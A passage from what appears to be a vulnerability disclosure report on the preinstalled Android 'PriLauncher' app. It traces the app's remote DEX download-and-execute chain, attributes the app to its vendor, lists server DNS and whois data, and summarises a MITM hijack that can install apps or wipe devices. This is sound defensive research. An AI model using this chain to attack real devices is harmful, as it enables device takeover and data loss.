The "`data`" field decrypts to a JSON object, as shown below, where the same decryption routine previously described is used. The handling of the "`jars`" field is similar to how the "`dexs`" field is handled when there is data present. The "`apks`" field appears to be a secondary approach to install arbitrary apps. A non-empty "`apks`" field appears to result in the app being installed via an invocation of the "`void com.hs.cld.da.AppExe.installApplication(com.hs.cld.da.model.ApkBean)`" method. We did not fully investigate this avenue after achieving app installation through other means, and it may be the subject of additional vulnerability research conducted in the future.


```
{"cursor":"0","next_cursor":"0","clear":0,"jars":[],"dexs":[],"apks":[]}
```


Although we have consistently observed the response above, the settings on our device would likely be uncommon for a typical user, where ADB is enabled with a network proxy running on a Wi-Fi network, which may possibly influence the server response. If there was a value in the "`dexs`" key in the JSON object, then it would be downloaded to the "`/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf`" directory for execution. When the JSON object is received, it parses the the fields from the JSON object and uses them to create and populate the corresponding instance fields of a "`com.hs.cld.da.model.TaskListBean`" object using GSON, occurring within the "`com.hs.cld.da.model.TaskListBean com.hs.cld.da.GetTaskApi.handleResponse()`" method. The "`com.hs.cld.da.model.TaskListBean`" object is returned to and processed by the "`void com.hs.cld.da.TaskPro.onTimeHandle(android.content.Context, android.content.Intent)`" method, which itself is started by the "`com.hs.cld.MainWorker`" class that handles the scheduling of the following classes as jobs: "`com.hs.cld.da.TaskPro`", "`com.hs.p.q.ConfigPro`", and "`com.hs.p.q.FetchHostPro`". Here we focus on "`com.hs.cld.da.TaskPro`" class which makes requests to the "*https://gatewaysg.hwprize.com/front/ota/api/tasks/v2*" URL, the "`com.hs.p.q.ConfigPro`" class which makes

requests for the "*https://gatewaysg.hwprize.com/front/ota/api/conf/v1*" URL, and the "`com.hs.p.q.FetchHostPro`" class which makes requests for the "*https://unity.hwprize.com/unity/project/rs/launcherServer*" URL.

The "`void com.hs.cld.da.TaskPro.onTimeHandle(android.content.Context, android.content.Intent)`" method will (*if* the "`clear`" field of the "`com.hs.cld.da.model.TaskListBean`" object does not have an integer value of "`1`") pass the "`dexs`" field with a type of "`java.util.List<com.hs.cld.da.model.DexBean>`" to the "`void com.hs.cld.da.TaskPro.handleDexInfo(android.content.Context, java.util.List)`" method. The "`java.util.List<com.hs.cld.da.model.DexBean>`" parameter is then iterated over and each "`com.hs.cld.da.model.DexBean`" element object is used as the second argument to the "`void com.hs.cld.da.DexExe(android.content.Context, com.hs.cld.da.model.DexBean)`" constructor. Then, the "`void com.hs.cld.da.DexExe.fire()`" method is invoked, which in turn invokes the "`void com.hs.cld.da.DexExe.handle()`" method. This method invokes the "`java.lang.String com.hs.p.dx.DIR.dxRf()`" static method, returning a string of "`.dx/.dxf`". The return value is then passed as an argument to the "`java.io.File com.hs.cld.da.DexExe.download(java.lang.String)`" method, which downloads the file to the "`/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf`" directory. After the downloading is complete for the DEX file(s), the "`void com.hs.cld.da.TaskPro.onTimeHandle(android.content.Context, android.content.Intent)`" method invokes the "`void com.hs.cld.da.dx.DexManager.load(android.content.Context)`" method which will, through a series of method calls, verify that each DEX file has a signature that is verified with a DSA public key that has a key fingerprint of "`[01:36:2a:55:ee:ba:bc:5f:9f:34:fc:7e:b7:73:22:53:25:57:62:b2]`". The Base64-encoded public DSA key is provided below.

```
MIIBtzCCASwGByqGSM44BAEwggEfAoGBAP1/U4EddRIpUt9KnC7s5Of2EbdSPO9EAMMeP4C2USZpRV1AIlH7WT2NWPq/
xfW6MPbLm1Vs14E7gB00b/JmYLdrmVClpJ+f6AR7ECLCT7up1/63xhv4O1fnxqimFQ8E+4P208UewwI1VBNaFpEy9nXz
rith1yrv8iIDGZ3RSAHHAhUAl2BQjxUjC8yykrmCouuEC/BYHPUCgYEA9+GghdabPd7LvKtcNrhXuXmUr7v6OuqC+VdM
Cz0HgmdRWVeOutRZT+ZxBxCBgLRJFnEj6EwoFhO3zwkyjMim4TwWeotUfI0o4KOuHiuzpnWRbqN/C/ohNWLx+2J6ASQ7
zKTxvqhRkImog9/hWuWfBpKLZl6Ae1UlZAFMO/7PSSoDgYQAAoGAQZAl2oCfwh3WExKuiMcg3njQRZBWmDHQiEWN2vvZ
4YogljxVlRccyDS+7u7aseq3+mO1qyISs548Qc50cnN39xiZaS39qvkNFbsxaPmK8edkXntGqXH874w3m7gyXNeAjYhH
HG4h6jSwgDndAUjpNVQld348/SKq1E7tBvRGxBo=
```

At this point, the "`PriLauncher`" app then invokes the "`com.hs.cld.da.dx.DexManager.DexContext com.hs.cld.da.dx.DexManager.loadDexAndCallInit(android.content.Context, com.hs.cld.da.dx.DexManager.DexContext, com.hs.cld.da.dx.DexManager.LocalDexInfo)`" method. This method first decrypts the DEX file, gets a "`dalvik.system.DexClassLoader`" object, and then calls the "`java.lang.String com.hs.p.dx.DexUtils.callInit(android.content.Context, dalvik.system.DexClassLoader, com.hs.p.dx.Invocation, java.lang.String)`" method to execute to decrypted DEX file. Immediately after the DEX file is executed, the "`boolean com.hs.p.dx.FileUtils.deleteFile(java.lang.String)`" is invoked to delete the DEX file.

The "`java.lang.String com.hs.p.dx.DexUtils.callInit(android.content.Context, dalvik.system.DexClassLoader, com.hs.p.dx.Invocation, java.lang.String)`" method uses various arguments from a "`com.hs.p.dx.Invocation`" instance. These arguments are also used as arguments to the "`java.lang.String com.hs.p.dx.DexUtils.invokeInitMethod(android.content.Context, dalvik.system.DexClassLoader, com.hs.p.dx.Invocation, java.lang.String, java.lang.String)`" method. In that scenario, it loads the entry-point class using "`java.lang.Class dalvik.system.DexClassLoader.loadClass(java.lang.String)`" where the argument is the "`mClassName`" string instance field of the "`com.hs.p.dx.Invocation`" instance. Finally, it reflectively invokes the method indicated by the "`mInitMethod`" string instance field of the "`com.hs.p.dx.Invocation`" instance, which has a type

of "java.lang.String", where this method has expected argument types of "java.lang.String, java.lang.String, android.content.Context" using the standard API for reflection, "java.lang.Object java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object[])". This reflective method call dynamically executes the entry-point method in the downloaded DEX file with "system" privileges.

4. Source Attribution

This section details our efforts to attribute source development and ownership of the "PriLauncher" app and its network infrastructure. The "PriLauncher.apk" file from an Android 13 software build for the Ulefone Power Armor 13 smartphone that has a "CERT.RSA" file where both the issuer and subject are "Issuer: C=CN, ST=GuangDong, L=ShenZhen, O=Prize, OU=Public, CN=koobee/emailAddress=koobee@szprize.com".[18] All of the "PriLauncher" apps from Table 5 have the "CN=koobee/emailAddress=koobee@szprize.com" string for the Common Name (CN) field in the digital certificate except for the BLU Bold N2, General Mobile GM 20 Pri, and Ulefone Armor 10 5G, which use either "CN=demo/emailAddress=demo@mediatek.com" or "CN=bluproducts.com/emailAddress=sw@bluproducts.com". The entire certificate from the "PriLauncher" app from the Ulefone Power Armor 13 software build is provided below. The "Not Before" field from the certificate below and the "build.prop" file, for the Ulefone Power Armor 13 device, which has a "ro.build.date" system property value of "Tue Jul 20 20:41:20 CST 2021", suggest that the "swprize.com" domain was possibly active from late 2020 into the middle of 2021.[19]

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            e0:59:c7:79:a8:ae:3f:8c
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=GuangDong, L=ShenZhen, O=Prize, OU=Public,
CN=koobee/emailAddress=koobee@szprize.com
        Validity
            Not Before: Oct 16 11:50:52 2020 GMT
            Not After : Mar  3 11:50:52 2048 GMT
        Subject: C=CN, ST=GuangDong, L=ShenZhen, O=Prize, OU=Public,
CN=koobee/emailAddress=koobee@szprize.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:b5:02:a9:94:5c:2b:ff:45:51:39:d4:a4:dc:53:
                    91:fb:2d:b2:3e:95:aa:65:8e:c2:90:3e:27:6b:45:
                    28:c4:7e:7a:1a:01:42:65:ff:95:d6:95:61:e4:50:
                    d6:20:b7:c5:4c:c7:fc:29:51:d9:d6:ec:c5:8a:5f:
                    5d:b6:81:21:06:4f:5f:5a:09:c1:f5:ed:ad:98:31:
                    9f:2b:d8:ed:fc:74:58:05:36:54:32:2a:a6:c8:5b:
                    6b:6a:3e:23:43:78:3d:41:3b:30:39:68:10:3e:80:
                    e3:84:cc:81:c9:1e:db:99:a3:6c:2c:b3:5f:40:85:
                    2b:61:13:4f:5b:af:c6:17:31:e2:6a:ee:39:0e:77:
                    e6:ee:11:61:70:93:a5:78:79:97:c0:72:c7:a9:a9:
                    d8:bf:af:c0:ce:f9:6e:c8:d2:2b:92:3b:c3:7d:9e:
                    e4:8a:33:be:b6:ba:35:fd:01:a9:0c:86:c5:1c:fc:
```

[18] https://dumps.tadiphone.dev/dumps/ulefone/power_armor_13/-/blob/full_k85v1_64-user-11-RP1A.200720.011-1626784999-release-keys/system/system/system_ext/priv-app/PriLauncher/PriLauncher.apk?ref_type=heads

[19] https://dumps.tadiphone.dev/dumps/ulefone/power_armor_13/-/blob/full_k85v1_64-user-11-RP1A.200720.011-1626784999-release-keys/system/system/build.prop?ref_type=heads#L39

```
                ce:9d:99:be:27:4f:ed:cb:74:aa:24:98:46:ff:7f:
                d5:3e:0c:da:2c:19:a1:85:e7:62:72:f4:4c:bb:46:
                af:4d:85:33:4c:9a:98:09:a6:14:89:25:f1:98:dc:
                58:2d:d6:61:c7:62:07:45:47:2e:4f:ba:23:ea:47:
                9b:cb:ad:bd:2e:f5:46:f2:a8:3c:db:da:9e:5f:09:
                03:7b
            Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                0C:2C:69:BE:D6:2E:58:73:20:63:BE:80:2B:C8:0E:B5:ED:5C:C7:01
            X509v3 Authority Key Identifier:
                0C:2C:69:BE:D6:2E:58:73:20:63:BE:80:2B:C8:0E:B5:ED:5C:C7:01
            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        59:83:bd:4a:60:73:8b:ca:29:7d:9a:7c:f5:9a:c3:c7:16:db:
        8e:3c:c7:af:98:2e:0f:b3:0c:5d:8d:a9:2a:f0:0d:2f:af:bf:
        fc:22:9c:f3:68:29:cc:d3:17:8e:73:77:60:1c:46:b4:8d:3e:
        33:c4:ac:b3:5a:8b:72:69:54:4f:73:b3:0c:41:de:79:34:62:
        be:ce:89:ed:f6:53:95:e1:c7:0a:1b:66:fe:7d:3d:e5:a7:74:
        76:46:c1:4f:a5:6c:2b:10:f4:6d:52:40:33:9b:0a:8b:45:0b:
        2a:62:54:a8:fc:cd:a1:5a:25:48:aa:02:5d:3a:d1:49:c5:69:
        69:d6:68:80:05:af:a1:7a:26:53:ae:aa:49:7c:ef:b1:18:06:
        2f:a4:1e:db:b5:b0:b2:bc:dd:54:aa:60:95:3b:d4:b7:f2:73:
        b2:6f:82:d1:48:e4:e5:84:57:09:7b:a2:53:45:d6:76:e8:2b:
        9c:6c:9b:cc:e8:2e:f4:07:60:08:01:35:df:6a:32:6b:5d:ef:
        01:4c:a1:c3:2f:99:6a:de:5a:3e:d0:14:15:c7:b5:81:09:19:
        39:13:1b:92:19:35:a5:68:38:69:b1:d9:be:d3:95:ad:3f:28:
        8b:ba:6f:c5:2d:6c:52:0a:53:93:d5:dc:ce:41:b7:2d:fc:47:
        55:c6:4d:ee
```

Based on the digital certificate, the software appears to be from a company named Prize that at one point had a domain name of "`szprize.com`". The registrant information from running the "`whois szprize.com`" command (executed on April 24, 2025) is provided in full in Appendix F. All registrant information has been redacted for privacy, except for the state/province and country of the registrant, provided as "GuangDongSheng, CN". While speculative, the "`sz`" in the "`szprize.com`" domain may represent the city in which the company was located: *Shenzhen*.

It appears that the company named Prize was in the process of being acquired by a company named *Honyu Wear-Resistant New Materials* in November 2019.[20] The "`hw`" from "`hwprize.com`" that is used in many of the subdomains in the "`PriLauncher`" app may well represent "Honyu Wear" after their acquisition and move from "`szprize.com`" to "`hwprize.com`". The "`whois hwprize.com`" command (executed on April 24, 2025) is provided in full in Appendix G, where only information for Identity Protection Service is provided for the registrant. It appears that Honyu Wear-Resistant New Materials changed its name to Hunan Huamin Holdings Co Ltd, based on the company profile section on CNBC's website.[21] The website for the Hunan Huamin Holdings Co Ltd holding company is https://www.huaminchina.cn/en/. The website for Hunan Huamin Holdings Co Ltd appears to portray the company as a solar and manufacturing company.

Crunchbase, a business information website, describes the Prize (铂睿智恒) as "*a smart phones and mobile application developer company*" where their listed website is "`http://www.szprize.com/`." which has a title of

[20] https://sg.news.yahoo.com/brief-hongyu-wear-resistant-materials-122444872.html
[21] https://www.cnbc.com/quotes/300345-CN

"COOSEA -酷赛智能官方网站" as of June 5, 2026.[22] Based on the webpage title and extensive links referring to Coosea for JavaScript files (e.g., "`http://www.szprize.com/coosea_files/common.js.下载`") and image resources (e.g., "`http://www.szprize.com/coosea_files/footer-logo.png`"), there appears to be some connection with the Coosea Group.[23] In addition, when visiting "`https://www.szprize.com/`" on June 5, 2026, there is a certificate error that states: "*This server could not prove that it is www.szprize.com; its security certificate is from test.theme.cooseatech.com. This may be caused by a misconfiguration or an attacker intercepting your connection.*"

Sophos, a security software company, detailed their findings for a pre-installed trojanized sound recorder app in an Ulefone S8 Pro smartphone.[24] The app they examined had a path of "`/system/priv-app/SoundRecorder.apk`" and a package name of "`com.android.prize`", which appears to be a modified version of the AOSP sound recorder app.[25] This sound recorder app sent the user's phone number, GPS coordinates, unique device identifiers, and additional data to the "`http://dt.szprize.cn/mbinfo.php`" URL. The description of this app that uses the "`szprize.cn`" domain which, similar to the "`szprize.com`" domain, parallels our findings where an app from AOSP (e.g., the launcher app) has been extended with extraneous functionality.

The "`PriLauncher`" app (versionCode='1402400810', versionName='14.0.240810') from the BLU Bold K50 ("`BLU/BOLD_K50/K0130:14/UP1A.231005.007/1724655562:user/release-keys`") contains the "`org.xutils.http.annotation.HttpRequest`" interface, produced by JADX, shows that the default return value from the "`host`" method is "`http://launcher.szprize.cn`" linking this domain to the various other URLs in the same app with a domain of "`hwprize.com`".

```
package org.xutils.http.annotation;

import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.xutils.http.app.DefaultParamsBuilder;
import org.xutils.http.app.ParamsBuilder;
@Target({ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)

/* loaded from: classes3.dex */
public @interface HttpRequest {
    Class<? extends ParamsBuilder> builder() default DefaultParamsBuilder.class;
    String[] cacheKeys() default {""};
    String host() default "http://launcher.szprize.cn";
    String path();
    String[] signs() default {""};
}
```

In addition, numerous versions of the "`PriLauncher`" app, from Table 5 in Section 2.4: *"PriLauncher App Versions"*, contain string constants in their application code to the "`http://launcher.szprize.cn/zyp/api/news`" and "`http://launcher.szprize.cn/zyp/api/ownStream`" URLs.

There is an unofficial GitHub repo from the user "`wongainia`" that appears to contain the source code for various Prize Android apps, including a launcher app which appears to be a very old version of the "`PriLauncher`" app

[22] https://www.crunchbase.com/organization/prize-63ae
[23] https://www.cooseagroup.com/
[24] https://news.sophos.com/en-us/2018/10/02/the-price-of-a-cheap-mobile-phone-may-include-your-privacy/
[25] https://android.googlesource.com/platform/packages/apps/SoundRecorder/+/refs/heads/main/AndroidManifest.xml

(called "PrizeLauncher3" in the repo) with a target SDK level of "21" (which is Android Lollipop, 5.0).[26] While we did not extensively examine the source code for the launcher app in the repo, the "com.android.launcher3/com.android.download.DownLoadService" service component appears to have the ability to download apps via an app by package name through app stores.

5. Domain Information

This section details our efforts to identify the various domains utilized by the "PriLauncher" app. The following subdomains are in use (which appear to be primarily based off of the device's physical location):

gatewayus.hwprize.com - United States
gatewayeu.hwprize.com - Europe
gatewaysg.hwprize.com - Singapore

We brute-forced DNS requests for each two letter combination after "gateway" in the subdomain (e.g., "dig gatewayaa.hwprize.com" to "dig gatewayzz.hwprize.com"), and it only returned these three subdomains as of April 24, 2025.

The output of the "whois" command on the "szprize.com" domain (discussed in the preceding section) is provided in Appendix F, and the "whois" command output for the "hwprize.com" domain, executed on April 24, 2025, is provided in Appendix G. Partial output is shown below.

```
% whois hwprize.com
...
Registry Registrant ID: Not Available From Registry
Registrant Name: On behalf of hwprize.com owner
Registrant Organization: Identity Protection Service
Registrant Street: PO Box 786
Registrant City: Hayes
Registrant State/Province: Middlesex
Registrant Postal Code: UB3 9TR
Registrant Country: GB
Registrant Phone: +44.1483307527
Registrant Phone Ext:
Registrant Fax: +44.1483304031
Registrant Fax Ext:
Registrant Email: 03d635ba-7785-4ae5-a5bb-d82684d9e543@identity-protect.org
```

The output of the "dig" command, used to perform DNS lookups, on the "gatewaysg.hwprize.com" subdomain is provided below, which was performed on April 24, 2025.

```
% dig gatewaysg.hwprize.com

; <<>> DiG 9.10.6 <<>> gatewaysg.hwprize.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37616
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 2, ADDITIONAL: 15

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;gatewaysg.hwprize.com.              IN      A
```

26 https://github.com/wongainia/AppGroup/tree/a22714c1e6b9f5c157bebb2c5dbc96b854ba949a/PrizeLauncher3

```
;; ANSWER SECTION:
gatewaysg.hwprize.com. 300     IN      CNAME   alb-q4ias860fboa7mp0q2.ap-southeast-
1.alb.aliyuncsslbintl.com.
alb-q4ias860fboa7mp0q2.ap-southeast-1.alb.aliyuncsslbintl.com. 60 IN A 8.222.131.90
alb-q4ias860fboa7mp0q2.ap-southeast-1.alb.aliyuncsslbintl.com. 60 IN A 47.236.103.100

;; AUTHORITY SECTION:
aliyuncsslbintl.com.   168320  IN      NS      vip3.alidns.com.
aliyuncsslbintl.com.   168320  IN      NS      vip4.alidns.com.

;; ADDITIONAL SECTION:
vip3.alidns.com.       80857   IN      A       170.33.40.136
vip3.alidns.com.       80857   IN      A       170.33.73.26
vip3.alidns.com.       80857   IN      A       170.33.80.10
vip3.alidns.com.       80857   IN      A       8.212.93.3
vip3.alidns.com.       80857   IN      A       140.205.1.5
vip3.alidns.com.       80857   IN      A       170.33.32.210
vip3.alidns.com.       167562  IN      AAAA    2408:4009:500::3
vip4.alidns.com.       80857   IN      A       170.33.32.211
vip4.alidns.com.       80857   IN      A       170.33.40.137
vip4.alidns.com.       80857   IN      A       170.33.73.27
vip4.alidns.com.       80857   IN      A       170.33.80.11
vip4.alidns.com.       80857   IN      A       8.212.93.4
vip4.alidns.com.       80857   IN      A       140.205.1.6
vip4.alidns.com.       167562  IN      AAAA    2408:4009:500::4

;; Query time: 238 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Thu Apr 24 13:15:11 EDT 2025
;; MSG SIZE  rcvd: 447
```

The output of the "`dig`" command on the "`gatewayeu.hwprize.com`" subdomain is provided below, which was performed on April 24, 2025.

```
% dig dig gatewayeu.hwprize.com

; <<>> DiG 9.10.6 <<>> dig gatewayeu.hwprize.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 36630
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;dig.                           IN      A

;; AUTHORITY SECTION:
.                      9467    IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2025042400
1800 900 604800 86400

;; Query time: 10 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Thu Apr 24 13:27:15 EDT 2025
;; MSG SIZE  rcvd: 107

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18472
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 2, ADDITIONAL: 15

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
```

```
;gatewayeu.hwprize.com.                IN      A

;; ANSWER SECTION:
gatewayeu.hwprize.com. 294     IN      CNAME   alb-ginjtzpsis9ta8hb1s.eu-central-
1.alb.aliyuncsslbintl.com.
alb-ginjtzpsis9ta8hb1s.eu-central-1.alb.aliyuncsslbintl.com. 54     IN A 8.211.57.55
alb-ginjtzpsis9ta8hb1s.eu-central-1.alb.aliyuncsslbintl.com. 54     IN A 8.209.76.110

;; AUTHORITY SECTION:
aliyuncsslbintl.com.   167596  IN      NS      vip4.alidns.com.
aliyuncsslbintl.com.   167596  IN      NS      vip3.alidns.com.

;; ADDITIONAL SECTION:
vip3.alidns.com.       80133   IN      A       8.212.93.3
vip3.alidns.com.       80133   IN      A       140.205.1.5
vip3.alidns.com.       80133   IN      A       170.33.32.210
vip3.alidns.com.       80133   IN      A       170.33.40.136
vip3.alidns.com.       80133   IN      A       170.33.73.26
vip3.alidns.com.       80133   IN      A       170.33.80.10
vip3.alidns.com.       166838  IN      AAAA    2408:4009:500::3
vip4.alidns.com.       80133   IN      A       170.33.80.11
vip4.alidns.com.       80133   IN      A       8.212.93.4
vip4.alidns.com.       80133   IN      A       140.205.1.6
vip4.alidns.com.       80133   IN      A       170.33.32.211
vip4.alidns.com.       80133   IN      A       170.33.40.137
vip4.alidns.com.       80133   IN      A       170.33.73.27
vip4.alidns.com.       166838  IN      AAAA    2408:4009:500::4

;; Query time: 7 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Thu Apr 24 13:27:15 EDT 2025
;; MSG SIZE  rcvd: 445
```

The output of the "`dig`" command on the "`gatewayus.hwprize.com`" subdomain is provided below, which was performed on April 24, 2025.

```
% dig gatewayus.hwprize.com

; <<>> DiG 9.10.6 <<>> gatewayus.hwprize.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46300
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 2, ADDITIONAL: 15

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;gatewayus.hwprize.com.                IN      A

;; ANSWER SECTION:
gatewayus.hwprize.com. 300     IN      CNAME   alb-fyr720k0ixuvg2elbe.us-east-1.alb.aliyuncsslbintl.com.
alb-fyr720k0ixuvg2elbe.us-east-1.alb.aliyuncsslbintl.com. 60 IN     A 47.90.249.254
alb-fyr720k0ixuvg2elbe.us-east-1.alb.aliyuncsslbintl.com. 60 IN     A 47.253.101.101

;; AUTHORITY SECTION:
aliyuncsslbintl.com.   167542  IN      NS      vip4.alidns.com.
aliyuncsslbintl.com.   167542  IN      NS      vip3.alidns.com.

;; ADDITIONAL SECTION:
vip3.alidns.com.       80079   IN      A       140.205.1.5
vip3.alidns.com.       80079   IN      A       170.33.32.210
vip3.alidns.com.       80079   IN      A       170.33.40.136
vip3.alidns.com.       80079   IN      A       170.33.73.26
vip3.alidns.com.       80079   IN      A       170.33.80.10
```

```
vip3.alidns.com.        80079   IN      A       8.212.93.3
vip3.alidns.com.        166784  IN      AAAA    2408:4009:500::3
vip4.alidns.com.        80079   IN      A       8.212.93.4
vip4.alidns.com.        80079   IN      A       140.205.1.6
vip4.alidns.com.        80079   IN      A       170.33.32.211
vip4.alidns.com.        80079   IN      A       170.33.40.137
vip4.alidns.com.        80079   IN      A       170.33.73.27
vip4.alidns.com.        80079   IN      A       170.33.80.11
vip4.alidns.com.        166784  IN      AAAA    2408:4009:500::4

;; Query time: 418 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Thu Apr 24 13:28:09 EDT 2025
;; MSG SIZE  rcvd: 442
```

Below, Table 7 provides the output of MaxMind GeoIP on the IP address for the "`gatewayus.hwprize.com`", "`gatewaysg.hwprize.com`", and "`gatewayeu.hwprize.com`" subdomains, which was performed on April 24, 2025.[27]

IP Address	Location	Network	Postal Code	Approximate Latitude / Longitude, and Accuracy Radius	ISP / Organization	Domain
47.253.101.101	Virginia, United States (US), North America	47.253.96.0/20	-	38.6879, -77.2978 (1000 km)	Alibaba	-
47.90.249.254	Virginia, United States (US), North America	47.90.224.0/19	-	38.6879, -77.2978 (1000 km)	Alibaba	-
47.236.103.100	Singapore (SG), Asia	47.236.0.0/17	-	1.3667, 103.8 (1000 km)	Alibaba	-
8.222.131.90	Singapore (SG), Asia	8.222.128.0/18	-	1.3667, 103.8 (50 km)	Alibaba	-
8.209.76.110	Frankfurt am Main, Hesse, Germany (DE), Europe	8.209.72.0/21	60313	50.1169, 8.6837 (20 km)	Alibaba	-
8.211.57.55	Frankfurt am Main, Hesse, Germany (DE), Europe	8.211.0.0/17	60313	50.1169, 8.6837 (20 km)	Alibaba	-

Table 7. Geolocation information for the IP addresses associated with the "`PriLauncher`" app's network infrastructure (as of April 24, 2025).

Cloudflare's Radar service shows that for the "`hwprize.com`" domain, that the top 10 countries initiating requests for the domain are (as of April 24, 2025): Bangladesh (26.2%), Yemen (21.9%), Mexico (5.3%), United States (5.0%), Germany (5%), Ukraine (3.6%), Pakistan (3.1%), France (2.4%), Brazil (2.3%), and Canada (2.0%).[28] The Cloudflare Radar service shows that the country profiles differ slightly with the region-based subdomains:

[27] https://www.maxmind.com/en/geoip-demo
[28] https://radar.cloudflare.com/domains/domain/hwprize.com

"gatewaysg.hwprize.com", "gatewayeu.hwprize.com", and "gatewayus.hwprize.com" domains.[29] VirusTotal shows that no Anti-Virus (AV) engines detect the "hwprize.com" domain as malicious.[30]

6. Responsible Disclosure

Quokka Security Researchers often uncover vulnerabilities in devices using the iOS and/or Android operating systems. When vulnerabilities are discovered, we follow a disclosure process outlined on our company website.[31] This process includes responsible disclosure detailing vulnerabilities to vendors, and working with them to mitigate issues. At the time of writing, all impacted vendors have been notified of the findings described throughout the analysis of the Prize Launcher app. MITRE has reserved assignments for Common CVEs for the vulnerabilities in this report.

7. Conclusion

We have discovered that a company that provides apps to Android vendors has extended the standard AOSP launcher app from Google to contain a remotely-controllable suite of capabilities that are enabled or disabled depending on a system property value. When the app management capabilities and a DEX file operations channel are active in the "PriLauncher" app on Android smartphones, it exposes them to MITM attacks due to the use of an insecure trust manager from the xUtils3 library that does not validate SSL/TLS certificates. We analyzed the "PriLauncher" app to show that this failure to authenticate the server allows on-path attackers to hijack the app management features, which allows attackers to uninstall, install, and start apps on vulnerable smartphones. Lastly, we showed that it is possible to abuse the app management capabilities in the "PriLauncher" pre-installed app on vulnerable devices to programmatically install and start an app which interacts with the "PriFactoryTest" pre-installed app to wipe the device via a factory reset operation.

[29] https://radar.cloudflare.com/domains/domain/gatewaysg.hwprize.com
[30] https://www.virustotal.com/gui/url/cd2dfbd3379a68f31bcf8d0d167026fdb7474fadccb968fe97873fa3d85f8427
[31] https://www.quokka.io/vulnerability-disclosure-policy

8. Appendix

Appendix A. Indicators of a Potentially Vulnerable "PriLauncher" App

This appendix details the various indicators that we observed across devices demonstrating the vulnerable capabilities present in the "`PriLauncher`" pre-installed app. The only definitive method to determine if a vulnerable version of the "`PriLauncher`" app exists on a particular Android smartphone is to attempt to exploit the vulnerabilities using the reproduction steps in Appendix B and examine if the expected results are achieved. Nonetheless, vulnerable versions of the "`PriLauncher`" app exhibit some common artifacts, serving as indicators for potential exploitability.

Value of the "`ro.odm.prize_push_app_widget`" and "`ro.odm.operator_disable`" System Properties

The "`ro.odm.prize_push_app_widget`" system property for Android 14 devices needs to have a value of "`yes`" (alternatively, the "`ro.odm.operator_disable`" system property needs to have a value of "`no`" for Android 13 devices) for the "`PriLauncher`" app to perform its remotely-controllable suite of capabilities beyond simply serving as the device launcher. The "`adb shell getprop ro.odm.prize_push_app_widget`" ADB command (or via third-party app by executing the equivalent "`getprop ro.odm.prize_push_app_widget`" command), as shown below, can be used to check the value of the system property. Anything other than a value of "`yes`" (i.e., a value of "`no`" or not having an assigned value) for the "`ro.odm.prize_push_app_widget`" system property on Android 14 devices prevents the "`com.android.launcher3:remote`" process from executing.

```
% adb shell getprop ro.odm.prize_push_app_widget
yes
```

The "`com.android.launcher3:remote`" Process

If the "`ro.odm.prize_push_app_widget`" system property has a value of "`yes`" on Android 14 smartphones, then the "`com.android.launcher3/com.pri.appcenter.service.RemoteService`" service component, operating as the nexus of the remotely-controllable suite of capabilities' functionality, executes as soon as the device screen is unlocked for the first time after the device has been powered-on or rebooted. The declaration of this component in the "`PriLauncher`" app's "`AndroidManifest.xml`" file is provided below.

```
<service android:enabled="true" android:exported="true" android:foregroundServiceType="remoteMessaging"
android:name="com.pri.appcenter.service.RemoteService" android:process=":remote">
    <intent-filter android:priority="1000">
        <action android:name="com.pri.appcenter.service.RemoteService"/>
    </intent-filter>
</service>
```

The service component sets the "`android:process`" attribute to a value of "`:remote`" to make the service component run in a different process than the rest of the app, as no other components make use of the "`android:process`" attribute.[32] This is likely important from a stability perspective, as a crash in the "`com.android.launcher3:remote`" process does not impact the "`com.android.launcher3`" process, which executes all other components of the app, serving as the default launcher and is visible to the user. The "`PriLauncher`" app, running on Android 14 devices, has an "`android:foregroundServiceType`" attribute value of "`remoteMessaging`", which declares the purpose of a foreground service to the Android OS. According to the official documentation, this foreground service type is to "*Transfer text messages from one device to another.*

[32] https://developer.android.com/guide/topics/manifest/service-element#proc

Assists with continuity of a user's messaging tasks when they switch devices."[33] This description does not at all match our observations of the service component's operation.

On an applicable device, the presence of the "`com.android.launcher3:remote`" process can be checked using the ADB command below.

```
% adb shell ps -ef | grep com.android.launcher3:remote
system        5620   674 0 14:53:01 ?     00:00:00 com.android.launcher3:remote
```

